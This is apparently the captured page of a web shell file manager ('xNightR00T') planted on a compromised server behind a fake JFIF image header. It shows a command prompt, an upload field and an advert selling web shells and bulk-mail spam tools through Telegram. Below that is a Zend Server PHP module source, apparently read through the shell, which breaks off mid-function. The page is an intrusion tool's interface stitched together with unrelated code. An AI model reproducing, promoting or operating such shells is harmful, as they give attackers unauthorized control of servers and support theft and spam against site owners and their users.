xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php

namespace Application;

use Application\View\Helper\HelpLink;
use Audit\Controller\Plugin\AuditEmail;
use Application\Controller\Plugin\TestEmail;
use Notifications\Controller\Plugin\NotificationEmail;
use Application\Db\TableGateway;
use Zend\Config\Config;
use ZendServer\Permissions\AclQuerierInterface;
use ZendServer\Permissions\AclQuery;
use Configuration\License\License;
use Application\View\Helper\EditionImage;
use Zend\Loader\StandardAutoloader;
use Zend\Uri\Uri;
use ZendServer\Log\Formatter\Simple;
use Snapshots\Controller\Plugin\CreateConfigurationSnapshot;
use Zend\ModuleManager\Feature\ViewHelperProviderInterface;
use Zend\ModuleManager\Feature\ControllerPluginProviderInterface;
use Zend\Mvc\ModuleRouteListener;
use Zend\EventManager\EventInterface;
use Zend\ModuleManager\ModuleManagerInterface;
use Zend\Validator\Regex;
use Users\Forms\ChangePassword;
use Application\Forms\Login;
use Zend\InputFilter\Factory;
use Logs\LogReader;
use Users\Identity;
use Audit\Db\ProgressMapper;
use Zend\ServiceManager\ServiceManager;
use Zend\ModuleManager\Feature\InitProviderInterface;
use Zend\ModuleManager\Feature\BootstrapListenerInterface;
use Zend\ModuleManager\Feature\ServiceProviderInterface;
use Zend\ModuleManager\Feature\ConfigProviderInterface;
use Zend\EventManager\EventManager;
use Zend\Mvc\MvcEvent,
    Zend\EventManager\Event as ManagerEvent,
    ZendServer\Edition;
use Zend\ModuleManager\Feature\AutoloaderProviderInterface as AutoloaderProvider,
    Zend\Log\Logger,
    Zend\Permissions\Acl\Acl,
    ZendServer\Exception,
    ZendServer\Log\Log,
    Messages\Db\MessageFilterMapper;
use Zsd\Db\TasksMapper as Mapper;
use Application\Controller\Plugin\CapabilitiesList;
use Snapshots\Mapper\Profile;
use Notifications\Db\NotificationsMapper;
use Zsd\ZsdHealthChecker;
use Zend\ModuleManager\ModuleEvent;
use ZendServer\Configuration\Manager;
use Servers\Configuration\Mapper as ServersConfigurationMapper;
use Application\Exception\DependencyException;
use Zend\EventManager\Event;
use Zsd\Db\TasksMapperAwareInterface;
use ZendServer\EditionAwareInterface;
use Messages\Db\MessageMapper;
use Notifications\Db\NotificationsActionsMapper;
use Application\Db\AbstractFactoryConnector;
use Application\Db\Connector;
use Notifications\View\Helper\NotificationDescription;
use Application\Db\Adapter\AdapterAwareInterface;
use Servers\Db\ServersAwareInterface;
use ZendServer\FS\FS;
use Audit\Controller\Plugin\InjectAuditMessageInterface;
use Zend\Mvc\Application;
use Zend\Mvc\Exception\InvalidControllerException;
use Zend\Console\Console;
use Application\Module as appModule;
use Zend\Authentication\Storage\NonPersistent;
use DevBar\Listener\AbstractDevBarProducer;
use Zend\I18n\Translator\Translator;
use Zend\ServiceManager\Exception\ServiceNotCreatedException;
use ZendServer\Utils\Helper;
use ZendServer\Utils\Cookie;
use Application\Model\ModelFactory;
use Zend\ServiceManager\ServiceLocatorInterface;
use Application\Controller\Plugin\ServiceLocatorPlugin;
use Application\View\Helper\IsAllowed;
use Application\View\Helper\IsAllowedEdition;
use Application\View\Helper\IsAllowedIdentity;

class Module implements ViewHelperProviderInterface, ControllerPluginProviderInterface, AutoloaderProvider, ConfigProviderInterface,
                        InitProviderInterface, BootstrapListenerInterface, ServiceProviderInterface
{
    const ACL_ROLE_ADMINISTRATOR = 'administrator';
    const ACL_ROLE_DEVELOPER     = 'developer';
    const ACL_ROLE_BOOTSTRAP     = 'bootstrap';
    const ACL_ROLE_GUEST         = 'guest';
    const INI_PREFIX             = 'zend_gui';
    const SESSION_NAME           = 'ZS6SESSID';
    const STUDIO_USER_AGENT      = 'Jakarta Commons-HttpClient';

    protected $view;

    /**
     * @var \Application\View\Listener
     */
    protected $viewListener;

    /**
     * @var \Zend\Config\Config
     */
    protected static $config;

    /**
     * @var \Zend\Log\Logger
     */
    protected static $log;

    /**
     *
     * @var \Zend\Navigation\Navigation
     */
    protected $navigation;

    /**
     * @var ServiceManager
     */
    static protected $staticManager;

    /**
     * @var bool
     */
    static protected $isHTTPS = false;

    /**
     * @var ServiceManager
     */
    protected $serviceManager = null;

    /**
     * @var EventManager
     */
    protected $sharedEvents = null;

    /**
     * @var \Zend\Mvc\Application
     */
    protected $application           = null;
    public $currentIdentityAllowed   = array();

    /**
     * May accept a list of configuration directive path steps to retrieve the directive value directly
     * @param string $step, ....print_r($eventsGroup->getEventsGroupId(),true)
     * @example Module::config('package', 'edition') returns the current edition directive's value directly
     * @return \Zend\Config\Config|scalar
     * @throws \ZendServer\Exception
     */
    public static function config()
    {
        if (func_num_args() > 0) {
            $steps       = func_get_args();
            $configLevel = static::$config;
            $zend_gui    = self::INI_PREFIX;
            foreach ($steps as $step) {
                if (isset($configLevel->$step)) {
                    $configLevel = $configLevel->$step;
                } elseif (isset($configLevel->$zend_gui->$step)) {
                    $configLevel = $configLevel->$zend_gui->$step;
                } else {
                    throw new \ZendServer\Exception("gui directive not found: ".implode('.', $steps));
                }
            }

            if (isset($configLevel->$zend_gui) && $configLevel->$zend_gui) {
                $configLevel = $configLevel->$zend_gui; // we don't want the surrounding section
            }

            return $configLevel;
        }

        return static::$config;
    }

    /**
     * @return boolean
     */
    public static function isClusterManager()
    {
        $edition = new Edition();
        return $edition->isClusterManager();
    }

    /**
     * @return boolean
     */
    public static function isSingleServer()
    {
        $edition = new Edition();
        return $edition->isSingleServer();
    }

    /**
     * @return boolean
     */
    public static function isClusterServer()
    {
        $edition = new Edition();
        return $edition->isClusterServer();
    }

    /**
     * @return boolean
     */
    public static function isCluster()
    {
        return self::isClusterServer() || self::isClusterManager();
    }

    /**
     * @return \Zend\Log\Logger
     */
    public static function log()
    {
        return static::$log;
    }

    /**
     * @return ServiceManager
     */
    public static function serviceManager()
    {
        return static::$staticManager;
    }

    public function getViewHelperConfig()
    {
        return array(
            'factories' => array(
                'HelpLink' => function($sm) {
                    $helper  = new HelpLink();
                    $request = $sm->get('Request');
                    $helper->setRequestUri($request->getServer('REQUEST_URI'));
                    $app     = $sm->get('Application');
                    $helper->setRouteMatch($app->getMvcEvent()->getRouteMatch());
                    return $helper;
                },
                'NotificationDescription' => function($sm) {
                    $helper = new NotificationDescription();
                    $helper->setUtilsWrapper($sm->get('Configuration\License\ZemUtilsWrapper'));
                    return $helper;
                },
                'EditionImage' => function($sm) {
                    $serverType = 0;
                    if (Module::isClusterManager()) {
                        $serverType = EditionImage::SERVER_TYPE_STANDALONE_GUI;
                    } elseif (Module::isClusterServer()) {
                        $serverType = EditionImage::SERVER_TYPE_CLUSTER_MEMBER;
                    } elseif (Module::isSingleServer()) {
                        $serverType = EditionImage::SERVER_TYPE_SERVER;
                    }

                    $helper = new EditionImage($serverType);
                    return $helper;
                },
                'IsAllowed' => function($sm) {
                    $object = new IsAllowed();
                    $object->setAcl($sm->get('ZendServerAcl'));
                    return $object;
                },
                'IsAllowedEdition' => function($sm) {
                    $object = new IsAllowedEdition();
                    $object->setAcl($sm->get('ZendServerAcl'));
                    return $object;
                },
                'IsAllowedIdentity' => function($sm) {
                    $object = new IsAllowedIdentity();
                    $object->setAcl($sm->get('ZendServerAcl'));
                    return $object;
                },
            ),
            'aliases' => array(
                'helpLink' => 'HelpLink',
                'helplink' => 'HelpLink',
                'isAllowed' => 'IsAllowed',
                'isAllowedIdentity' => 'IsAllowedIdentity',
                'isAllowedEdition' => 'IsAllowedEdition',
                'notificationDescription' => 'NotificationDescription',
                'notificationdescription' => 'NotificationDescription',
                'editionImage' => 'EditionImage',
                'editionimage' => 'EditionImage',
            )
        );
    }
    /*
     * (non-PHPdoc)
     * @see \Zend\ModuleManager\Feature\ControllerPluginProviderInterface::getControllerPluginConfig()
     */

    public function getControllerPluginConfig()
    {
        $module      = $this;
        return array(
            'factories' => array(
                'notificationEmail' => function($sm) { /* @var $sm \Zend\Mvc\Controller\PluginManager */
                    $plugin = new NotificationEmail();
                    return $plugin;
                },
                'testEmail' => function($sm) { /* @var $sm \Zend\Mvc\Controller\PluginManager */
                    $plugin = new TestEmail();
                    return $plugin;
                },
                'auditEmail' => function($sm) { /* @var $sm \Zend\Mvc\Controller\PluginManager */
                    $plugin = new AuditEmail();
                    $plugin->setProgressMapper($sm->get('Audit\Db\ProgressMapper'));

                    return $plugin;
                },
                /*
                'getZServiceLocator' => function($sm) {
                    $plugin = new ServiceLocatorPlugin();
                    $plugin->setServiceLocator($sm);
                     return $plugin;
                },
                */
                'CapabilitiesList' => function($sm) use ($module) {
                    $plugin = new CapabilitiesList();
                    $plugin->setLicenseAcl($sm->get('ZendServerLicenseAcl'));
                    $plugin->setLicenseAclConfig($module->config('license', 'acl'));
                    return $plugin;
                },
                'CreateConfigurationSnapshot' => function($sm) { /* @var $sm \Zend\Mvc\Controller\PluginManager */
                    $plugin = new CreateConfigurationSnapshot();
                    $plugin->setSnapshotsMapper($sm->get('Snapshots\Db\Mapper'));
                    $plugin->setServiceLocator($sm);
                    return $plugin;
                },
                'Authentication' => function($sm) use ($module) { /* @var $sm \Zend\Mvc\Controller\PluginManager */
                    $azure  = isAzureEnv();
                    $service = new ServiceLocatorPlugin();
                    $plugin = new Controller\Plugin\Authentication();
                    $plugin->setAuthAdapter($sm->get('ZendServerAuthenticationAdapter'));
                    $plugin->setAuthService($sm->get('Zend\Authentication\AuthenticationService'));
                    $plugin->setGroupsMapper($sm->get('Acl\Db\MapperGroups'));
                    return $plugin;
                },
                'ServerInfo' => function($sm) use ($module) { /* @var $sm \Zend\Mvc\Controller\PluginManager */
                    $plugin = new Controller\Plugin\ServerInfo();
                    return $plugin;
                },
                'ServerData' => function($sm) use ($module) { /* @var $sm \Zend\Mvc\Controller\PluginManager */
                    /* @var Controller\Plugin\ServerData */
                    $plugin = new Controller\Plugin\ServerData();
                    $plugin->setServiceLocator($sm);
                    return $plugin;
                },
                'getServiceLocator' => function($sm) use ($module) { /* @var $sm \Zend\Mvc\Controller\PluginManager */
                    $plugin = new ServiceLocatorPlugin();
                    $plugin->setServiceLocator($sm);
                    return $plugin;
                },
            ),
            'aliases' => array(
                'serverData' => 'ServerData',
                'serverInfo' => 'ServerInfo',
                'authentication' => 'Authentication',
                'createConfigurationSnapshot' => 'CreateConfigurationSnapshot',
                'capabilitiesList' => 'CapabilitiesList',
            )
        );
    }
    /*
     * (non-PHPdoc)
     * @see \Zend\ModuleManager\Feature\ServiceProviderInterface::getServiceConfig()
     */

    public function getServiceConfig()
    {
        $module               = $this;
        return array(
            'aliases' => array(
                'AuthAdapterSimple' => 'AuthAdapterDbTable',
                'AuthAdapterExtended' => 'AuthAdapterLdap',
                'AuthAdapterAzure' => 'AuthAdapterAzure',
            ),
            'invokables' => array(
                'Application\Db\AbstractFactoryConnector' => 'Application\Db\AbstractFactoryConnector',
                'Application\Db\DirectivesFileConnector' => 'Application\Db\DirectivesFileConnector',
                'Zend\Authentication\AuthenticationService' => 'Zend\Authentication\AuthenticationService',
                'Servers\Db\Tasks' => 'Servers\Db\Tasks',
                'Zend\Session\SessionManager' => 'Zend\Session\SessionManager',
                'Servers\Configuration\Mapper' => 'Servers\Configuration\Mapper'
            ),
            'factories' => array(
                'GuiConfiguration\Mapper\Configuration' => function ($sm) {
                    $mapper = new \GuiConfiguration\Mapper\Configuration();
                    $mapper->setPhpVersion($sm->get(\Configuration\PhpVersion::class)->getCurrentVersion());
                    return $mapper;
                },
                'LibraryUpdates\Db\Mapper' => function ($sm) {
                    $mapper = new \LibraryUpdates\Db\Mapper(new TableGateway('GUI_LIBRARY_UPDATES',
                        $sm->get(Connector::DB_CONTEXT_GUI)));
                    return $mapper;
                },
                ModelFactory::class => function($sm) {
                    return new ModelFactory($sm);
                },
                'Snapshots\Db\Mapper' => function ($sm) {
                    $mapper = new \Snapshots\Db\Mapper(new TableGateway('GUI_SNAPSHOTS',
                        $sm->get(Connector::DB_CONTEXT_GUI)));
                    return $mapper;
                },
                'Acl\License\Mapper' => function($sm) {
                    $mapper = new \Acl\License\Mapper();
                    $mapper->setAcl($sm->get('ZendServerAcl'));
                    return $mapper;
                },
                'Servers\Db\Mapper' => function (ServiceManager $sm) {
                    $mapper = new \Servers\Db\Mapper();
                    $mapper->setTableGateway(new TableGateway('ZSD_NODES', $sm->get(Connector::DB_CONTEXT_ZSD)));
                    $mapper->setDirectivesMapper($sm->get('Configuration\MapperDirectives'));
                    return $mapper;
                },
                'Notifications\Db\NotificationsActionsMapper' => function($sm) {
                    $mapper = new NotificationsActionsMapper(new TableGateway('ZSD_NOTIFICATIONS_ACTIONS',
                        $sm->get(Connector::DB_CONTEXT_ZSD)));
                    return $mapper;
                },
                'Notifications\Db\NotificationsMapper' => function($sm) {
                    $mapper = new NotificationsMapper(new TableGateway('ZSD_NOTIFICATIONS',
                        $sm->get(Connector::DB_CONTEXT_ZSD)));
                    $mapper->setNotificationsActionsGateway(new TableGateway('ZSD_NOTIFICATIONS_ACTIONS',
                        $sm->get(Connector::DB_CONTEXT_ZSD)));
                    return $mapper;
                },
                'Navigation' => function($sm) use ($module) {
                    $factory = new \ZendServer\Navigation\Service\DefaultNavigationFactory();
                    /// instantiators are not executed for factories
                    $factory->setAcl($sm->get('ZendServerAcl'));

                    try {
                        $license = $sm->get('Configuration\License\ZemUtilsWrapper')->getLicenseInfo(); /* @var $license License */
                        $filter  = array();
                        if ($license->isCloudLicense()) {
                            /// remove license entry page from navigation if the license never expires
                            $filter[] = array('controller' => 'License');
                        }

                        $mapper = new ServersConfigurationMapper();
                        if (!$mapper->isClusterSupport()) {
                            // remove the sc settings page when the cluster isn't supported
                            $filter[] = array('controller' => 'SessionClustering');
                        }

                        $azure          = isAzureEnv();
                        $standaloneZray = isZrayStandaloneEnv();
                        if (!$azure && !$standaloneZray) {
                            $vhostMapper = $sm->get('Vhost\Mapper\Vhost'); /* @var $vhostMapper \Vhost\Mapper\Vhost */
                            if (!$vhostMapper->isVhostsManaged()) {
                                $filter[] = array('controller' => 'Vhost');
                            }
                        }

                        $factory->setFilterPages($filter);
                    } catch (\Exception $ex) {
                        Log::notice('License not retrieved, cannot filter navigation bar');
                        Log::debug($ex);
                    }

                    return $factory->createService($sm);
                },
                'Snapshots\Mapper\Profile' => function($sm) use ($module) {
                    $profile = new Profile();
                    $profile->setGuiConfigurationMapper($sm->get('GuiConfiguration\Mapper\Configuration'));
                    $profile->setProfiles($module->config('profiles'));
                    return $profile;
                },
                'Zsd\Db\TasksMapper' => function($sm) {
                    $mapper = new Mapper();
                    /// avoid circular dependency detection error
                    $mapper->setTableGateway(new TableGateway('ZSD_TASKS', $sm->get(Connector::DB_CONTEXT_ZSD)));
                    return $mapper;
                },
                'Zsd\ZsdHealthChecker' => function($sm) {
                    $checker = new ZsdHealthChecker();
                    $checker->setDirectivesMapper($sm->get('Configuration\MapperDirectives'));
                    return $checker;
                },
                'Zsd\Db\NodesProfileMapper' => function($sm) {
                    $mapper = new \Zsd\Db\NodesProfileMapper();
                    /// avoid circular dependency detection error
                    $mapper->setTableGateway(new TableGateway('ZSD_NODES_PROFILE', $sm->get(Connector::DB_CONTEXT_ZSD)));
                    return $mapper;
                },
                'ZendServerAuthenticationAdapter' => function($sm) use ($module) {
                    if ($module->config('authentication', 'simple')) {
                        $adapter = $sm->get('AuthAdapterSimple');
                    } elseif ($module->config('authentication', 'adapter')) {
                        $adapter = $sm->get($module->config('authentication', 'adapter'));
                    } else {
                        $adapter = $sm->get('AuthAdapterExtended');
                    }

                    if (!$sm->has('ZendServerAuthenticationAdapter')) {
                        $sm->setService('ZendServerAuthenticationAdapter', $adapter);
                    }
                    return $adapter;
                },
                'Bootstrap\Mapper\Reset' => function($sm) {
                    $bootstrap = new \Bootstrap\Mapper\Reset();
                    $bootstrap->setGuiConfigurationMapper($sm->get('GuiConfiguration\Mapper\Configuration'));
                    return $bootstrap;
                },
                'Bootstrap\Mapper' => function($sm) {
                    $bootstrap = new \Bootstrap\Mapper();
                    $bootstrap->setDirectivesMapper($sm->get('Configuration\MapperDirectives'));
                    $bootstrap->setUsersMapper($sm->get('Users\Db\Mapper'));
                    $bootstrap->setChangePassword(new ChangePassword());
                    $bootstrap->setWebapiKeysMapper($sm->get('WebAPI\Db\Mapper'));
                    $bootstrap->setGuiConfiguration($sm->get('GuiConfiguration\Mapper\Configuration'));
                    $bootstrap->setNotificationsActionsMapper($sm->get('Notifications\Db\NotificationsActionsMapper'));
                    $bootstrap->setConfigurationPackage($sm->get('Configuration\Task\ConfigurationPackage'));
                    $bootstrap->setTasksMapper($sm->get('Zsd\Db\TasksMapper'));

                    $profile = $sm->get('Snapshots\Mapper\Profile');
                    $profile->setDirectivesMapper($sm->get('Configuration\MapperDirectives'));
                    $bootstrap->setProfilesMapper($profile);

                    return $bootstrap;
                },
                'Users\Identity' => function($sm) use ($module) {
                    $authService = $sm->get('Zend\Authentication\AuthenticationService');
                    if ($authService->hasIdentity()) {
                        return $authService->getIdentity();
                    }
                    $role     = $module->isBootstrapCompleted() ? 'guest' : 'bootstrap';
                    $identity = new Identity('Unknown', $role);
                    return $identity;
                },
                'Acl\Db\Mapper' => function($sm) {
                    $aclMapper = new \Acl\Db\Mapper();
                    $aclMapper->setRolesTable(new TableGateway('GUI_ACL_ROLES', $sm->get(Connector::DB_CONTEXT_GUI)));
                    $aclMapper->setResourcesTable(new TableGateway('GUI_ACL_RESOURCES',
                        $sm->get(Connector::DB_CONTEXT_GUI)));
                    $aclMapper->setPrivilegesTable(new TableGateway('GUI_ACL_PRIVILEGES',
                        $sm->get(Connector::DB_CONTEXT_GUI)));
                    return $aclMapper;
                },
                'Acl\Db\MapperGroups' => function($sm) {
                    return new \Acl\Db\MapperGroups(new TableGateway('GUI_LDAP_GROUPS',
                        $sm->get(Connector::DB_CONTEXT_GUI)));
                },
                'Acl\Form\GroupsMappingFactory' => function($sm) {
                    $factory = new \Acl\Form\GroupsMappingFactory();
                    $factory->setAclMapper($sm->get('Acl\Db\Mapper'));
                    $factory->setDeploymentModel($sm->get('Deployment\Model'));
                    $factory->setGroupsMapper($sm->get('Acl\Db\MapperGroups'));
                    return $factory;
                },
                'Messages\Db\MessageMapper' => function($sm) {
                    $mapper = new MessageMapper(new TableGateway('ZSD_MESSAGES', $sm->get(Connector::DB_CONTEXT_ZSD)));
                    return $mapper;
                },
                'Messages\Db\MessageFilterMapper' => function($sm) {
                    $messageFilterMapper = new MessageFilterMapper();
                    $messageFilterMapper->setTableGateway(new TableGateway('ZSD_MESSAGES_FILTERS',
                        $sm->get(Connector::DB_CONTEXT_ZSD)));
                    $messageFilterMapper->setMessagesGateway(new TableGateway('ZSD_MESSAGES',
                        $sm->get(Connector::DB_CONTEXT_ZSD)));
                    return $messageFilterMapper;
                },
                'Logs\LogReader' => function($sm) {
                    $reader = new LogReader();
                    $reader->setLogsDbMapper($sm->get('Logs\Db\Mapper'));
                    return $reader;
                },
                'Logs\Db\Mapper' => function($sm) {
                    $reader = new \Logs\Db\Mapper(new TableGateway('GUI_AVAILABLE_LOGS',
                        $sm->get(Connector::DB_CONTEXT_GUI)));
                    $reader->setDirectivesMapper($sm->get('Configuration\MapperDirectives'));
                    return $reader;
                },
                'Users\Forms\ChangePassword' => function($sm) {
                    $loginForm = new ChangePassword();
                    $loginForm->setInputFilter($sm->get('Users\InputFilter\Credentials'));
                    $loginForm->setValidationGroup('newPassword');
                    return $loginForm;
                },
                'Application\Forms\Login' => function($sm) {
                    $authConfig = Module::config('authentication');
                    $simpleAuth = $authConfig->simple ? true : false;

                    $usernames = array();
                    if ($simpleAuth) {
                        $usersMapper = $sm->get('Users\Db\Mapper');
                        $users       = $usersMapper->getUsers()->toArray();
                        $usernames   = array();
                        foreach ($users as $user) {
                            $usernames[$user['NAME']] = $user['NAME'];
                        }
                    }

                    $loginForm = new Login(array('simpleAuth' => $simpleAuth, 'users' => $usernames));
                    $loginForm->setValidationGroup('username', 'password');

                    return $loginForm;
                },
                'Users\Db\Mapper' => function($sm) use($module) {
                    $mapper = new \Users\Db\Mapper(new TableGateway('GUI_USERS', $sm->get(Connector::DB_CONTEXT_GUI)));
                    return $mapper;
                },
                'Users\InputFilter\Credentials' => function($sm) use($module) {
                    $inputFactory = new Factory();

                    $userValidator = new Regex('#^[[:graph:]]+$#');
                    $userValidator->setMessage(_t('Username field can not contain whitespace characters'));

                    $passwordValidator = new Regex('#'.str_replace('#', '\\#', ChangePassword::PASSWORD_PATTERN).'#');
                    $passwordValidator->setMessage(_t('Password field may contain alpha numeric and punctuation characters'));

                    $passwordValidators = array(
                        'validators' => array(
                            array(
                                'name' => 'StringLength',
                                'options' => array(
                                    'min' => $module->config('user', 'passwordLengthMin'),
                                    'max' => $module->config('user', 'passwordLengthMax')
                                ),
                            ),
                            $passwordValidator
                        ));

                    $validators = $inputFactory->createInputFilter(array(
                        'username' => array('validators' => array(
                            array(
                                'name' => 'StringLength',
                                'options' => array(
                                    'min' => $module->config('user', 'usernameLengthMin'),
                                    'max' => $module->config('user', 'usernameLengthMax')
                                ),
                            ),
                            $userValidator
                        )),
                        'password' => $passwordValidators,
                        'newPassword' => $passwordValidators,
                    ));

                    return $validators;
                },
                'ZSSessionFileCache' => function($sm) {
                    // get the session max lifetime
                    $maxLifeTime = getCfgVar('session.gc_maxlifetime');
                    if (!$maxLifeTime) $maxLifeTime = 15 * 60;

                    // get the temp folder for the cache - try GUI temp
                    $cacheDir = \ZendServer\FS\FS::getGuiTempDir().'/zs_cache';
                    if (!is_dir($cacheDir)) {
                        if (!@mkdir($cacheDir)) {
                            // cannot create dedicated cache folder, use GUI temp
                            $cacheDir = \ZendServer\FS\FS::getGuiTempDir();
                        }
                    }

                    if (!is_writable($cacheDir)) {
                        // use system temp folder
                        $cacheDir = sys_get_temp_dir();
                    }

                    if (!is_writable($cacheDir)) {
                        throw new \Exception('No temp folder in the system (neither for the UI, nor system wide');
                    }

                    // getting a Zend_Cache_Core object
                    $cache = \Zend\Cache\StorageFactory::factory(array(
                        'adapter' => array(
                            'name' => 'filesystem',
                            'options' => array(
                                'cache_dir' => $cacheDir,
                                'ttl' => $maxLifeTime - 1, // -1 because the GC might run before TTL ends
                                // without locking=true, it doesn't work on pages with high concurrency load (pulse pages),
                                // but still this is much better then using standard session handler
                                'file_locking' => true,
                            ),
                        ),
                    ));

                    return $cache;
                },
                'ZSCustomSessionHandler' => function($sm) {
                    $sessionHandler = new \Application\ZendDataCacheSessionHandler();
                    $sessionHandler->setZendCacheObject($sm->get('ZSSessionFileCache'));

                    return $sessionHandler;
                },
                'KnownMimeTypes' => function($sm) {
                    return require __DIR__.DIRECTORY_SEPARATOR.'config'.DIRECTORY_SEPARATOR.'known-mime-types.php';
                }
            ),
        );
    }

    public function init(ModuleManagerInterface $manager = null)
    {
        $this->sharedEvents = $events             = $manager->getEventManager()->getSharedManager();
        $manager->getEventManager()->attach(ModuleEvent::EVENT_LOAD_MODULES_POST, array($this, 'initializeConfig'));
        $manager->getEventManager()->attach(ModuleEvent::EVENT_LOAD_MODULES_POST, array($this, 'initializeDependencies'));
        $manager->getEventManager()->attach(ModuleEvent::EVENT_LOAD_MODULES_POST, array($this, 'initializeDebugMode'));
    }

    /**
     * @param MvcEvent $e
     */
    public function checkDependencies(MvcEvent $e)
    {
        $dependencies = self::config('dependencies');

        $booltrue  = array(1, true, '1', 'on', 'yes');
        $boolfalse = array(0, false, '0', 'off', 'no');

        $directives = isset($dependencies['directives']) ? $dependencies['directives'] : array();
        /// Translator and service manager have not been initialized yet, we cannot use _t here
        /// expects: array('type' => <options|boolean|string>, 'required' => <array value|boolean value|string value>))
        foreach ($directives->toArray() as $directive => $params) {
            $required = isset($params['required']) ? $params['required'] : null;
            if (is_null($required)) {
                continue;
            }

            $ex = null;
            $directiveValue = null;
            switch (isset($params['type']) ? $params['type'] : '') {
                case 'options':
                    if (!in_array(ini_get($directive), $required)) {
                        $ex = new DependencyException(vsprintf('Dependency failure: %s must be of (%s), \'%s\' found',
                            array($directive, implode(',', $required), strval($directiveValue))),
                            DependencyException::CODE_DIRECTIVE);
                    }
                    break;
                case 'boolean':
                    if (is_string($required)) {
                        $required = strtolower($required);
                    }

                    if (in_array($required, $booltrue)) {
                        $values = $booltrue;
                    } else {
                        $values = $boolfalse;
                    }

                    $directiveValue = ini_get($directive);
                    if (is_string($directiveValue)) {
                        $directiveValue = strtolower($directiveValue);
                    }

                    if (!in_array($directiveValue, $values)) {
                        $ex = new DependencyException(vsprintf('Dependency failure: %s must be \'%s\', \'%s\' (or equivalent) found',
                            array($directive, intval($required), intval($directiveValue))),
                            DependencyException::CODE_DIRECTIVE);
                    }
                    break;
                case 'string':
                default:
                    $directiveValue = ini_get($directive);
                    if ($directiveValue != $required) {
                        $ex = new DependencyException(vsprintf('Dependency failure: %s must be \'%s\', \'%s\' found',
                            array($directive, strval($required), strval($directiveValue))),
                            DependencyException::CODE_DIRECTIVE);
                    }
            }

            if ($ex instanceof DependencyException) {
                $ex->setContext($directive);
                $e->setParam('dbConnected', false);
                throw $ex;
            }
        }

        $extensions = isset($dependencies['extensions']) ? $dependencies['extensions'] : array();
        foreach ($extensions as $extension => $required) {
            if (isset($required['clusteronly']) && $required['clusteronly'] && (!self::isCluster())) {
                /// if the requirement is relevant to cluster only and we are NOT in a cluster
                continue;
            }

            if (!extension_loaded($extension)) {
                $ex = new DependencyException(vsprintf('Dependency failure: %s extension must be loaded',
                    array($extension)), DependencyException::CODE_EXTENSION);
                $ex->setContext($extension);
                $e->setParam('dbConnected', false);
                throw $ex;
            }
        }
    }
    /*
     * Check if the post request is CSRF valid, if not, throwing error.
     */

    public function validateCSRF(MvcEvent $e)
    {
        $routeMatch = $e->getRouteMatch();
        $request    = $e->getRequest();

        // check who does NOT need CSRF check
        if (
            // not POST
            !$request->isPost() ||
            // Z-Ray calls
            ($e->getParam('webapi') && $routeMatch->getParam('controller') == 'DevBarWebApi' && !$request->isPost()) ||
            // Login
            ($routeMatch->getParam('controller') == 'Login' && $routeMatch->getParam('action') == 'index') ||
            // Zend Studio source
            ($routeMatch->getParam('controller') == 'StudioWebApi' && $routeMatch->getParam('action') == 'studioShowSource')
            ||
            // Add to cluster
            ($routeMatch->getParam('controller') == 'ServersWebAPI' && $routeMatch->getParam('action') == 'serverAddToCluster')
        ) {
            // skip the check
            return true;
        }

        if (!$this->isValidCSRF($request)) {
            Log::err("Invalid Request: CSRF Token mismatch (".$routeMatch->getParam('controller').":".$routeMatch->getParam('action').")");

            $e->getResponse()->setStatusCode(401);
            $e->getResponse()->setContent(json_encode(array(
                'zendServerAPIResponse' => "http://www.zend.com/server/api/".\WebAPI\Module::WEBAPI_CURRENT_VERSION,
                'errorData' => 'malformedRequest',
                'errorMessage' => ''
            )));

            return $e->getResponse();
        }
    }
    /*
     * Check if we have to add iframe security policy headers
     */

    public function iframeSecurityHeaders(MvcEvent $e)
    {
        $routeMatch = $e->getRouteMatch();
        $request    = $e->getRequest();

        if ($routeMatch->getParam('controller') == 'DevBar' && $routeMatch->getParam('action') == 'iframe') {
            return true;
        }

        $headers = $e->getResponse()->getHeaders();
        //$headers->addHeaderLine("Content-Security-Policy: frame-ancestors 'self'");
        $headers->addHeaderLine("Content-Security-Policy: child-src http: https://www.youtube.com;");
    }

    /**
     * Initialization
     * @see \Zend\ModuleManager\Feature\BootstrapListenerInterface::onBootstrap()
     * @param \EventInterface $e
     * @return
     */
    public function onBootstrap(EventInterface $e)
    {
        $this->application = $e->getApplication();

        $this->application->getEventManager()->attach(MvcEvent::EVENT_ROUTE, array($this, 'validateCSRF'));
        $this->application->getEventManager()->attach(MvcEvent::EVENT_ROUTE, array($this, 'iframeSecurityHeaders'));

        $this->serviceManager = $this->application->getServiceManager();
        self::$staticManager  = $this->serviceManager;

        $eventsManager = $this->application->getEventManager();

        $moduleRouteListener = new ModuleRouteListener();
        $moduleRouteListener->attach($eventsManager);

        $serviceManager = $this->serviceManager;

        // set revision number for the layout - all static files should be loaded with this number
        // to skip caching between revisions
        $e->getViewModel()->revision = Module::config('package', 'build');

        $initializers = array(
            // set identity
            function ($first, $second) use ($serviceManager) {
                if ($first instanceof ServiceLocatorInterface) {
                    $container = $first;
                    $instance  = $second;
                } else {
                    $container = $second;
                    $instance  = $first;
                }
                if ($instance instanceof \Users\IdentityAwareInterface) {
                    $identity = $serviceManager->build('Users\Identity');
                    $instance->setIdentity($identity);
                }
            },
            // set auth service
            function ($first, $second) use ($serviceManager) {
                if ($first instanceof ServiceLocatorInterface) {
                    $container = $first;
                    $instance  = $second;
                } else {
                    $container = $second;
                    $instance  = $first;
                }
                if (method_exists($instance, 'setAuthService')) {
                    $instance->setAuthService($serviceManager->get('Zend\Authentication\AuthenticationService'));
                }
            },
            // set license
            function ($first, $second) use ($serviceManager) {
                if ($first instanceof ServiceLocatorInterface) {
                    $container = $first;
                    $instance  = $second;
                } else {
                    $container = $second;
